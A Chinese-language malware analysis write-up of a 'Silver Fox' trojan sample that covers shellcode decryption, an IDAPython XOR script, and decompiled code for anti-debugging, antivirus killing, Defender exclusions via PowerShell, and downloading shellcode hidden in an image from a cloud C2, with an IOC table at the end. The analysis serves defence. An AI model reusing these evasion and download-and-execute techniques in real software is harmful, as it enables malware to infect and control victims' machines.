尝试三次银狐第一次因为重度混淆没过,第二个因为最新inno setup壳没有解壳器想直接脱ida分析delphi文件效果有不是很好找其他分析的要编译,今天来讲一讲我分完的这个银狐吧。

开始两个函数第一个是生成器加的函数不用管
第二个是主要逻辑


进去就是一个花指令然后直接nop

还有个循环执行也去掉

前面两个函数不用管是一些用系统时间反调试的函数

进入最后一个函数看到前面是申请了一块地址去执行sellcode动调进入即可

接下来的逻辑是先跳到另外的地址把这段代码下面的代码改动

这个是改动后的代码可以看到是一个循环解密,从1B0023+CA08的位置异或0B1h再和当前地址的字符相加作为下个字符的异或长度为rcx000000000000CA08

这里可以接着动调将1B0024的位置设为write断点动调后看见跳转到另一个位置

接下来可以看到另一个shellcode

这里值放了主要逻辑,前面的函数有一些反调试
比如
1 2 3 4 5 6 7 8 9 10 11 12
| if ( (unsigned int)((__int64 (*)(void))unk_1BC84C)() ) { v14 = 0; for ( j = 0; j < 1000; ++j ) { v0 = __rdtsc(); v14 += v0; } strcpy(v9, "ExitProcess"); v24 = (void (__fastcall *)(_QWORD))((__int64 (__fastcall *)(char *, char *))unk_1BB7FC)(v4, v9); v24(0i64); }
|
然后主要这两个函数

第一个是将数据复制到申请的空间上第二个是解密数据
在下面还有一个有意思的

这段代码会一直掉用本函数,呈现给用户的效果就是一直申请管理员权限然后取消了还是弹如果安全意识不过关的人真的会点确认,解决方式也很简单直接关机因病毒的后续逻辑都没执行也就没有持久化
看下解密的函数

我选择用idapython来解可以看见下的脚本
1 2 3 4 5 6 7 8 9 10 11 12
| import ida_bytes START_ADDR = 0x1B002C DATA_LEN = 0xAA05 XOR_KEY = b"4@e!c!bSL2AeimnwyD4x" key_len = len(XOR_KEY) for i in range(DATA_LEN): current_ea = START_ADDR+i orig_byte = ida_bytes.get_byte(current_ea) key_byte = XOR_KEY[i % key_len] orig_byte = orig_byte ^ key_byte ida_bytes.patch_byte(current_ea, orig_byte) print("异或计算完成!")
|
最后这里就是整个病毒的逻辑这里用代码贴出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
| int __fastcall main(int argc, const char **argv, const char **envp) { const char **v4; int v5; const char **v6; int j; char v8[16]; char v9[8]; char v10[16]; char v11[16]; char v12[16]; int v13; int i; int v15; void (__fastcall *v16)(__int64); char v17[16]; __int64 (__fastcall *v18)(_QWORD, _QWORD, void *, _QWORD, _DWORD, _DWORD *); void (__fastcall *v19)(_QWORD); void (__fastcall *v20)(_QWORD); _DWORD v21[38];
strcpy(v8, "kernel32.dll"); strcpy(v17, "user32.dll"); strcpy(v9, "Sleep"); v16 = (void (__fastcall *)(__int64))sub_1B0C61((__int64)v8, (__int64)v9); sub_1BA561(); v16(500i64); if ( (unsigned int)sub_1B24A1() ) { v13 = 0; while ( v13 < 1000 ) { v16(500i64); ++v13; if ( !sub_1B2C41() && sub_1B27F1() && sub_1B29C1() && sub_1B2721(2u) && !sub_1B23B1() && !sub_1B2D51(10000) ) break; } sub_1B1BE1(); if ( (unsigned int)((__int64 (*)(void))unk_1B1791)() ) main(v5, v4, v6); v15 = 0; if ( find360() ) { strcpy(v12, "CreateThread"); v18 = (__int64 (__fastcall *)(_QWORD, _QWORD, void *, _QWORD, _DWORD, _DWORD *))sub_1B0C61( (__int64)v8, (__int64)v12); v18(0i64, 0i64, TCPkill360, 0i64, 0, 0i64); v16(30000i64); for ( i = 0; find360() && i < 1; ++i ) { for ( j = 0; j < 3; ++j ) { *(_QWORD *)&v21[2 * j + 12] = v18(0i64, 0i64, &kill360, 0i64, 0, &v21[j]); if ( *(_QWORD *)&v21[2 * j + 12] ) { v16(5000i64); if ( !find360() ) break; } } } v16(10000i64); if ( find360() ) v15 = 1; v16(10000i64); mainkey(); sub_1B2281(); v16(5000i64); } else { mainkey(); } strcpy(v11, "ExitProcess"); v20 = (void (__fastcall *)(_QWORD))sub_1B0C61((__int64)v8, (__int64)v11); v20(0i64); return 0; } else { strcpy(v10, "ExitProcess"); v19 = (void (__fastcall *)(_QWORD))sub_1B0C61((__int64)v8, (__int64)v10); v19(0i64); return 0; } }
|
可以看见这里的函数调用的大部分都是内核函数
看下比较关键的函数sub_1B0C61
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| __int64 __fastcall sub_1B0C61(__int64 a1, __int64 a2) { struct _LIST_ENTRY *v2; struct _LIST_ENTRY *v3; __int64 v5; __int64 (__fastcall *v6)(__int64); __int64 (__fastcall *v7)(__int64, __int64); __int64 v8;
v2 = sub_1B0BA1(1527267390); v6 = (__int64 (__fastcall *)(__int64))((__int64 (__fastcall *)(struct _LIST_ENTRY *, __int64))sub_1B0A21)( v2, 1666965384i64); v3 = sub_1B0BA1(1527267390); v7 = (__int64 (__fastcall *)(__int64, __int64))((__int64 (__fastcall *)(struct _LIST_ENTRY *, __int64))sub_1B0A21)( v3, 1227537171i64); if ( v6 && v7 && (v8 = v6(a1), (v5 = v7(v8, a2)) != 0) ) return v5; else return 0i64; }
|
这段代码相当于直接找的系统的dll导出表的函数的地址没有调用api来找以此来免杀前面的shellcode也用了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| __int64 sub_1B2281() { __int64 result; __int64 (__fastcall *v1)(_QWORD, char *, char *, char *, _QWORD, _DWORD, _QWORD, _QWORD); int v2; __int64 (__fastcall *v3)(_QWORD, char *, char *, char *, _QWORD, _DWORD, int); char v4[16]; char v5[24];
result = ((__int64 (*)(void))unk_1B1FA1)(); if ( (_DWORD)result ) { strcpy(v4, "Shell32.dll"); strcpy(v5, "ShellExecuteA"); v1 = (__int64 (__fastcall *)(_QWORD, char *, char *, char *, _QWORD, _DWORD, _QWORD, _QWORD))sub_1B0C61( (__int64)v4, (__int64)v5); v2 = v1(0i64, aOpen, aPowershellExe, aAddMppreferenc, 0i64, 0, 0i64, v1); result = v3(0i64, aOpen_0, aPowershellExe_0, aTryNullIcimMsf, 0i64, 0, v2); if ( !(_DWORD)result ) return 1i64; } return result;
|

这下面两个函数是关闭360和360tcp网络通讯的函数


最后的最后我们来看下病毒执行部分
一共分别是防杀,c2地址拼接,下载文件,判断qq管家在不,下载图片并解密,执行图片里的shellcode

在拼接完后就是个凯撒加密结果是https://[host动态获取].oss-cn-beijing.aliyuncs.com/tad
“j.urk” shift=17 → s.dat (下载清单文件)
“j.agx” shift=17 → s.jpg (藏 shellcode 的图片)
sub_1B4CA1()用来从网上下载文件sub_1B4C51用来解密

这里判断有没有腾讯管家如果有就直接退出程序

这里下载s.jpg图片再再调整好参数
1 2 3 4
| v70 = (__int64 (*)(void))((__int64 (__fastcall *)(_QWORD, _QWORD, _QWORD))sub_1B5521)( v78[0], LODWORD(v78[2]), HIDWORD(v78[1]));
|
然后执行


最后关闭程序
ioc提取
| 类型 |
值 |
说明 |
| C2 域名 |
*.oss-cn-beijing.aliyuncs.com |
阿里云北京 OSS,bucket 按受害者主机名动态生成 |
| C2 路径 |
/tad |
主载荷下载接口 |
| C2 路径 |
/s.jpg |
Shellcode 隐写载体 |
| C2 路径 |
/s.dat |
ranchserv.jpg 数据文件 |
| URL 模板 |
https://[hostname].oss-cn-beijing.aliyuncs.com/tad |
动态 C2 构造 |
结语:此木马运用多层shellcode加载和手动获取内核函数的手段来运行并且主要执行文件要通过云端下载